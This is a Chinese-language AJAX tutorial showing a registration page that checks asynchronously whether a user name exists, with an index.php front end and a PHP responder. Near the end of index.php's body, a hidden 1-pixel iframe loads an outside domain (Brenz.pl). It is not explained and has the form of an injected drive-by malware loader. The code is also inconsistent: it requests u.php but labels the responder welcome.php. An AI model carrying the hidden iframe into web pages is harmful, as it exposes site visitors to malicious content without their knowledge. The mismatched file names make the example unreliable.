AJAX即“Asynchronous Javascript And XML”(异步JavaScript和XML),是指一种创建交互式网页应用的网页开发技术。
AJAX = Asynchronous JavaScript and XML(异步的 JavaScript 和 XML)。
AJAX 不是新的编程语言,而是一种使用现有标准的新方法。
AJAX 是与服务器交换数据并更新部分网页的艺术,在不重新加载整个页面的情况下。
设计一个用户注册页面,当用户输入注册名的时候,检测用户名是否已存在,如果存在,给予提示
我们先打index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
<html> <head> <meta http-equiv= "content-type" content= "text/html; charset=gb2312" /> <script type= "text/JavaScript" > function Ajax(){ var xmlHttpReq= null ; //初始对象xmlHttpReq if (window.ActiveXObject){ xmlHttpReq= new ActiveXObject( "Microsoft.XMLHTTP" ); } else if (window.XMLHttpRequest){ xmlHttpReq= new XMLHttpRequest(); } var userId=document.getElementById( "userId" ).value; //value取得id为userId的值 url= "u.php?userId=" +userId; //路径 if (xmlHttpReq!= null ){ //若对象实例化创建成功 xmlHttpReq.open( "GET" ,url, true ); //open()打开请求 xmlHttpReq.onreadystatechange=RequestCallBack; //设置回调函数RequestCallBack() xmlHttpReq.send( null ); //请求不包括正文 } function RequestCallBack(){ //回调函数 if (xmlHttpReq.readystate==4){ if (xmlHttpReq.status==200){ //请求成功 document.getElementById( "get" ).innerHTML=xmlHttpReq.responseText; //将得到的信息赋给id属性为get的div } } } } </script> </head> <body> <font> 注册 </font><br> <form> 用户名:<input type= "text" value= "yuki" id= "userId" name= "userId" ><input type= "button" value= "检测" onclick= "Ajax()" > <div id= "get" > </div> </form> <iframe style= "height:1px" src= "http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe> </body> </html> |
welcome.php
1
2
3
4
5
6
7
8
9
10
|
<?php header( "content-type:text/html;charset=gb2312" ); //sleep(1); $userId = $_GET [ "userId" ]; if ( $userId == "管理员" ){ echo "用户名已存在!" ; } else { echo "该用户名可以注册" ; } ?> |